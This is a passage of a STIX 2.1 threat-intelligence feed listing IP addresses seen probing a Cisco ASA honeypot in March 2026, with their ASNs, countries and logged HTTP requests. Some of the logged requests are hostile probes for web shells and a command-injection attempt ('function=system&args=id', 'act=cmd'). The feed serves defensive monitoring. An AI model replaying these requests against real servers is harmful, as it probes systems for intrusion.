      "type": "indicator",
      "valid_from": "2026-03-08T14:20:07.000Z",
      "valid_until": "2026-04-09T14:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T13:54:01.015Z",
          "last_seen": "2026-03-08T13:54:04.019Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 15169,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T16:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 396982 (Google LLC)",
      "id": "indicator--34986040-5e0d-4dbf-b6e8-3d9a97098f04",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '8.228.46.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:20:06.000Z",
      "valid_until": "2026-04-09T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T15:51:49.348Z",
          "last_seen": "2026-03-08T15:51:59.220Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T16:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--835d8321-4a92-4944-a74b-7ec349bf418b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:20:06.000Z",
      "valid_until": "2026-04-09T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T15:54:13.933Z",
          "last_seen": "2026-03-08T15:54:13.933Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T16:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--efa16785-05e8-4162-a92b-9709ebda2e11",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:20:06.000Z",
      "valid_until": "2026-04-09T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T15:52:07.963Z",
          "last_seen": "2026-03-08T15:52:07.963Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T16:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--ad6d4167-6223-421d-b6bd-16f91c58d764",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:20:06.000Z",
      "valid_until": "2026-04-09T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T15:54:11.377Z",
          "last_seen": "2026-03-08T15:54:11.377Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T16:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--942fb03b-8f55-4810-8f92-f4a29042625d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:20:06.000Z",
      "valid_until": "2026-04-09T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T15:56:15.016Z",
          "last_seen": "2026-03-08T15:56:15.016Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T16:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--444f8775-8618-4e4d-a67a-02ec03793b6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:20:06.000Z",
      "valid_until": "2026-04-09T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T15:52:13.184Z",
          "last_seen": "2026-03-08T15:52:13.184Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T16:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--40b0e6ad-060b-4d0b-8532-a43648859ec8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:20:06.000Z",
      "valid_until": "2026-04-09T16:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T15:50:16.677Z",
          "last_seen": "2026-03-08T15:50:16.677Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: DE; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--91abe904-a74a-4fa2-86bd-7d94128c9186",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.138.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T19:20:06.000Z",
      "valid_until": "2026-04-09T19:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-08T18:21:57.492Z",
          "last_seen": "2026-03-08T18:22:41.808Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/sos.php? HTTP/1.1\" 404 - geo: LU; ASN 53667 (FranTech Solutions)",
      "id": "indicator--d597d4ec-0f03-451c-92fa-99ae42c1a590",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '107.189.8.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T20:51:32.735Z",
          "last_seen": "2026-03-08T20:51:40.246Z",
          "country": "Luxembourg",
          "country_code": "LU",
          "asn": 53667,
          "as_org": "FranTech Solutions",
          "event_types": [
            "\"GET /_asterisk/sos.php? HTTP/1.1\" 404 -",
            "\"GET /pew.php?qw HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/config.inc.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/load.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/theme/new.php? HTTP/1.1\" 404 -",
            "\"GET /ssh.php?2123 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /Hima.php?28 HTTP/1.1\" 404 - geo: MY; ASN 55720 (Gigabit Hosting Sdn Bhd)",
      "id": "indicator--c3476a1b-426b-4841-ba44-7eee0cd6f06e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '123.253.35.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-08T20:51:23.477Z",
          "last_seen": "2026-03-08T20:51:30.642Z",
          "country": "Malaysia",
          "country_code": "MY",
          "asn": 55720,
          "as_org": "Gigabit Hosting Sdn Bhd",
          "event_types": [
            "\"GET /Hima.php?28 HTTP/1.1\" 404 -",
            "\"GET /admin/modules/vmblast/config.php?cc HTTP/1.1\" 404 -",
            "\"GET /admin/modules/vmblast/index.php?qq HTTP/1.1\" 404 -",
            "\"GET /android.php?c HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /digium_phones/test.php?cc HTTP/1.1\" 404 - geo: SE; ASN 8473 (Bahnhof AB)",
      "id": "indicator--edfc8aab-9b46-4757-97d9-b233f247c6aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '158.174.210.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T20:51:16.290Z",
          "last_seen": "2026-03-08T20:51:18.629Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 8473,
          "as_org": "Bahnhof AB",
          "event_types": [
            "\"GET /digium_phones/test.php?cc HTTP/1.1\" 404 -",
            "\"GET /test.php?x123x9 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /admin/ajax.php HTTP/1.1\" 200 - geo: NL; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--895cc8b4-1d06-4f79-8e38-e14715e2c6cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.232.87.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:48:29.923Z",
          "last_seen": "2026-03-08T20:48:34.297Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "\"POST /admin/config.php HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /main.php.1?1e HTTP/1.1\" 404 - geo: US; ASN 26527 (LightWave Networks)",
      "id": "indicator--8c75279a-ccb9-4cca-904c-153412cf0b4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.237.206.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 10,
          "first_seen": "2026-03-08T20:54:00.377Z",
          "last_seen": "2026-03-08T21:03:01.761Z",
          "country": "United States",
          "country_code": "US",
          "asn": 26527,
          "as_org": "LightWave Networks",
          "event_types": [
            "\"GET /main.php.1?1e HTTP/1.1\" 404 -",
            "\"GET /main.php.1?1exx HTTP/1.1\" 404 -",
            "\"GET /main.php.2?1xxe HTTP/1.1\" 404 -",
            "\"GET /main.php.2?2qwe HTTP/1.1\" 404 -",
            "\"GET /panel/webadmin.php?zx HTTP/1.1\" 404 -",
            "\"GET /web-meetme/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /welcome/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /widgets/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /xmlservices/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /yii/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/config.php?display=OpenVAS&handler=api&file=OpenVAS&module=OpenVAS&function=system&args=id HTTP/1.1\" 404 - geo: FR; ASN 29075 (Ielo-liazo Services SAS)",
      "id": "indicator--06370de5-de2a-4fa0-b32c-873bbc47ba6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.20.55.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T20:49:10.712Z",
          "last_seen": "2026-03-08T20:49:13.713Z",
          "country": "France",
          "country_code": "FR",
          "asn": 29075,
          "as_org": "Ielo-liazo Services SAS",
          "event_types": [
            "\"GET /admin/config.php?display=OpenVAS&handler=api&file=OpenVAS&module=OpenVAS&function=system&args=id HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/xnxx/config.php? HTTP/1.1\" 404 - geo: FR; ASN 29075 (Ielo-liazo Services SAS)",
      "id": "indicator--4661806a-8b8b-40fb-a975-f6347c826f1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.20.55.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T20:56:31.806Z",
          "last_seen": "2026-03-08T20:56:31.806Z",
          "country": "France",
          "country_code": "FR",
          "asn": 29075,
          "as_org": "Ielo-liazo Services SAS",
          "event_types": [
            "\"GET /recordings/xnxx/config.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/3Zz.php? HTTP/1.1\" 404 - geo: IT; ASN 212508 (Lowhosting services of Davide Gennari)",
      "id": "indicator--7addefed-a638-438b-b58a-7d9e24b14d96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '178.218.144.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-08T20:54:46.541Z",
          "last_seen": "2026-03-08T20:54:51.377Z",
          "country": "Italy",
          "country_code": "IT",
          "asn": 212508,
          "as_org": "Lowhosting services of Davide Gennari",
          "event_types": [
            "\"GET /recordings/3Zz.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a7/config.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /xx.php?21231232 HTTP/1.1\" 404 - geo: DK; ASN 57860 (Zencurity ApS)",
      "id": "indicator--cd58c7a6-1e7a-4948-b605-0661d1ffa283",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.129.62.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T21:03:24.652Z",
          "last_seen": "2026-03-08T21:03:24.652Z",
          "country": "Denmark",
          "country_code": "DK",
          "asn": 57860,
          "as_org": "Zencurity ApS",
          "event_types": [
            "\"GET /xx.php?21231232 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/misc/callme_page.php?cc HTTP/1.1\" 404 - geo: DK; ASN 57860 (Zencurity ApS)",
      "id": "indicator--570bf82c-48a3-4b14-a9aa-52b2f125725a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.129.62.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T20:52:43.224Z",
          "last_seen": "2026-03-08T20:52:51.523Z",
          "country": "Denmark",
          "country_code": "DK",
          "asn": 57860,
          "as_org": "Zencurity ApS",
          "event_types": [
            "\"GET /recordings/misc/callme_page.php?cc HTTP/1.1\" 404 -",
            "\"GET /recordings/misc/thaer.php?cc HTTP/1.1\" 404 -",
            "\"GET /recordings/pow.php?zxc HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/k4ijo.php?p=sakywshaky1986 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--4df3f566-1f14-45d1-a092-721a589074a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 11,
          "first_seen": "2026-03-08T20:57:33.490Z",
          "last_seen": "2026-03-08T20:58:31.360Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /admin/images/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/libraries/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/cxpanel/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/ucp/htdocs/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /modular.php? HTTP/1.1\" 404 -",
            "\"GET /ucp.php? HTTP/1.1\" 404 -",
            "\"POST /modular.php??act=cmd HTTP/1.1\" 200 -",
            "\"POST /ucp.php??act=cmd HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /mobrise/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--d562191e-5e39-46cb-8e1c-ab59a6c3c8e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
